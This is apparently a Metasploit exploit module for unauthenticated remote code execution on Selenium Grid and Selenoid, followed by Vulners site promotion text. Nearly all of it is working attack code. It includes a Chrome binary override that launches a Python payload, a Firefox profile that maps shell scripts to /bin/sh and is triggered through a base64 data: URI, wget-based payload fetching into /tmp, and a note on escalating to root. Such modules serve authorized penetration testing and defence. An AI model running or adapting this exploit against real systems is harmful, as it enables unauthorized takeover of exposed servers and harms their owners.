##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Module::Deprecated
moved_from 'exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108'
moved_from 'exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108'
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Payload::Python
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Selenium Grid/Selenoid Unauthenticated RCE',
'Description' => %q{
Selenium Grid and Selenoid expose a WebDriver API that allows creating
browser sessions with arbitrary capabilities. When deployed without
authentication (the default for both), an attacker can achieve remote
code execution through two browser-specific techniques:
For Chrome, the goog:chromeOptions binary field can be set to an
arbitrary executable such as /usr/bin/python3, since ChromeDriver does
not validate it. This was fixed in Selenium Grid 4.11.0 via the
stereotype capabilities merge. All Selenoid versions remain vulnerable.
For Firefox, a custom profile containing a malicious MIME handler that
maps application/sh to /bin/sh can be injected via moz:firefoxOptions.
Navigating to a data: URI with that content type triggers shell
execution. This technique has never been patched and works on all
Selenium Grid versions including the latest release.
The module auto-detects available browsers and selects the best attack
vector. Firefox is preferred as it works on all Grid versions.
The default Docker images run as seluser/selenium with passwordless
sudo, allowing trivial privilege escalation to root.
},
'Author' => [
'Jon Stratton',
'Wiz Research',
'Takahiro Yokoyama',
'Valentin Lobstein <chocapikk[at]leakix.net>'
],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://www.wiz.io/blog/seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps'],
['URL', 'https://www.selenium.dev/blog/2024/protecting-unsecured-selenium-grid/'],
['URL', 'https://github.com/SeleniumHQ/selenium/issues/9526'],
['URL', 'https://github.com/JonStratton/selenium-node-takeover-kit/tree/master'],
['EDB', '49915'],
['CWE', '306']
],
'Platform' => %w[python unix linux],
'Arch' => [ARCH_PYTHON, ARCH_CMD],
'Payload' => {},
'Targets' => [
[
'Python In-Memory',
{
'Platform' => 'python',
'Arch' => ARCH_PYTHON
}
],
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'FETCH_COMMAND' => 'WGET',
'FETCH_DELETE' => true,
'FETCH_WRITABLE_DIR' => '/tmp'
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2021-05-28',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
Opt::RPORT(4444),
OptString.new('TARGETURI', [true, 'Base path to Selenium Grid or Selenoid', '/']),
OptEnum.new('BROWSER', [true, 'Browser to exploit (auto detects and picks best vector)', 'auto', %w[auto firefox chrome]])
])
end
def check
@backend = detect_backend
return CheckCode::Unknown('No response from target') unless @backend
@browsers = enumerate_browsers
return CheckCode::Appears("#{@backend[:message]} (all versions vulnerable)") if selenoid?
check_grid
end
def exploit
@backend ||= detect_backend
@browsers ||= enumerate_browsers
browser = select_browser
fail_with(Failure::NoTarget, 'No exploitable browser found on target') unless browser
send("exploit_#{browser}")
end
private
def selenoid?
@backend&.dig(:type) == :selenoid
end
def session_path
normalize_uri(target_uri.path, selenoid? ? 'wd/hub/session' : 'session')
end
def grid_version
nodes = @backend&.dig(:value, 'nodes')
return unless nodes.is_a?(Array) && !nodes.empty?
version_raw = nodes.first['version']
return unless version_raw
version_raw.split(/\s/).first
end
def chrome_vuln?
return true if selenoid?
ver = grid_version
ver && Rex::Version.new(ver) < Rex::Version.new('4.11.0') && @browsers.include?('chrome')
end
def detect_backend
%w[status wd/hub/status].each do |path|
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, path))
next unless res&.code == 200
value = res.get_json_document['value']
next unless value.is_a?(Hash) && value['message'].is_a?(String)
msg = value['message'].downcase
return { type: :selenoid, message: value['message'], value: value } if msg.include?('selenoid')
return { type: :grid, message: value['message'], value: value } if msg.include?('selenium grid')
end
nil
end
def enumerate_browsers
return [] unless @backend
return selenoid_browsers if selenoid?
grid_browsers
end
def selenoid_browsers
browsers = @backend[:value]['browsers']
return %w[chrome firefox] unless browsers.is_a?(Hash)
browsers.keys.map(&:downcase)
end
def grid_browsers
nodes = @backend[:value]['nodes']
return [] unless nodes.is_a?(Array)
nodes.flat_map { |n| (n['slots'] || []).map { |s| s.dig('stereotype', 'browserName')&.downcase } }.compact.uniq
end
def check_grid
ver_str = grid_version
return CheckCode::Detected('Selenium Grid detected but could not determine version') unless ver_str
return CheckCode::Appears("Selenium Grid #{ver_str} with Firefox (all versions vulnerable to profile handler)") if @browsers.include?('firefox')
return CheckCode::Appears("Selenium Grid #{ver_str} with Chrome (vulnerable to binary override)") if chrome_vuln?
return CheckCode::Safe("Selenium Grid #{ver_str} - Chrome patched (stereotype merge), no Firefox available") if @browsers.include?('chrome')
CheckCode::Detected("Selenium Grid #{ver_str} - no exploitable browsers found")
end
def select_browser
choice = datastore['BROWSER']
if choice != 'auto'
print_warning("#{choice} not available on target (found: #{@browsers.join(', ')})") unless @browsers.empty? || @browsers.include?(choice)
return choice
end
if @browsers.include?('firefox')
print_status('Auto-selected Firefox (profile handler - works on all Grid versions)')
return 'firefox'
end
if @browsers.include?('chrome') && chrome_vuln?
print_status('Auto-selected Chrome (binary override)')
return 'chrome'
end
print_warning("Chrome binary override patched on Grid #{grid_version}, no Firefox available") if @browsers.include?('chrome')
nil
end
def create_session(body)
send_request_cgi('method' => 'POST', 'uri' => session_path, 'ctype' => 'application/json', 'data' => body)
end
def cleanup_session(session_id)
res = send_request_cgi('method' => 'DELETE', 'uri' => normalize_uri(session_path, session_id), 'ctype' => 'application/json')
print_status(res ? "Deleted session #{session_id}" : "Could not delete session #{session_id}. It may need to expire.")
rescue StandardError
nil
end
def exploit_chrome
body = {
'capabilities' => {
'alwaysMatch' => {
'browserName' => 'chrome',
'goog:chromeOptions' => { 'binary' => '/usr/bin/python3', 'args' => ["-c#{build_python_payload}"] }
}
}
}.to_json
print_status('Sending Chrome session request with binary override...')
res = create_session(body)
return print_warning('No response received (expected - Python exits after execution)') unless res
return print_good('Payload executed (server returned 500 as expected)') if res.code == 500
fail_with(Failure::UnexpectedReply, "Unexpected HTTP #{res.code}") unless res.code == 200
json = res.get_json_document
return print_good("Payload executed (Chrome crash expected: #{json['value']['message']&.slice(0, 80)}...)") if json.dig('value', 'error')
session_id = json.dig('value', 'sessionId')
return unless session_id
print_warning("Session #{session_id} created but binary override may have been ignored")
cleanup_session(session_id)
end
def build_python_payload
inner = target['Arch'] == ARCH_PYTHON ? payload.encoded : "os.system(#{payload.encoded.inspect})"
py_create_exec_stub("import os,time\npid=os.fork()\nif pid==0:\n os.setsid()\n #{inner}\nelse:\n time.sleep(300)")
end
def exploit_firefox
encoded_profile = build_malicious_profile
body = {
'desiredCapabilities' => { 'browserName' => 'firefox', 'firefox_profile' => encoded_profile },
'capabilities' => { 'firstMatch' => [{ 'browserName' => 'firefox', 'moz:firefoxOptions' => { 'profile' => encoded_profile } }] }
}.to_json
print_status('Creating Firefox session with malicious profile...')
res = create_session(body)
fail_with(Failure::UnexpectedReply, 'No response when creating session') unless res
session_id = res.get_json_document.dig('value', 'sessionId') || res.get_json_document['sessionId']
fail_with(Failure::UnexpectedReply, 'Failed to create Firefox session') unless session_id
print_status("Session created: #{session_id}")
cmd = payload.encoded
cmd = "echo -n #{Rex::Text.encode_base64(cmd)} | base64 -d | python3 &" if target['Arch'] == ARCH_PYTHON
script = "#{cmd}\n"
fetch_dir = datastore['FETCH_WRITABLE_DIR'] || '/tmp'
fetch_file = datastore['FETCH_FILENAME']
register_file_for_cleanup("#{fetch_dir}/#{fetch_file}") if fetch_file
print_status('Navigating to data: URI to trigger handler...')
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, selenoid? ? 'wd/hub' : '', "session/#{session_id}/url"),
'ctype' => 'application/json',
'data' => { 'url' => "data:application/sh;charset=utf-16le;base64,#{Rex::Text.encode_base64(script)}" }.to_json
)
cleanup_session(session_id)
end
def build_malicious_profile
stringio = Zip::OutputStream.write_buffer do |io|
io.put_next_entry('handlers.json')
io.write({
'defaultHandlersVersion' => { 'en-US' => 4 },
'mimeTypes' => { 'application/sh' => { 'action' => 2, 'handlers' => [{ 'name' => 'sh', 'path' => '/bin/sh' }] } }
}.to_json)
end
stringio.rewind
Base64.strict_encode64(stringio.sysread)
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation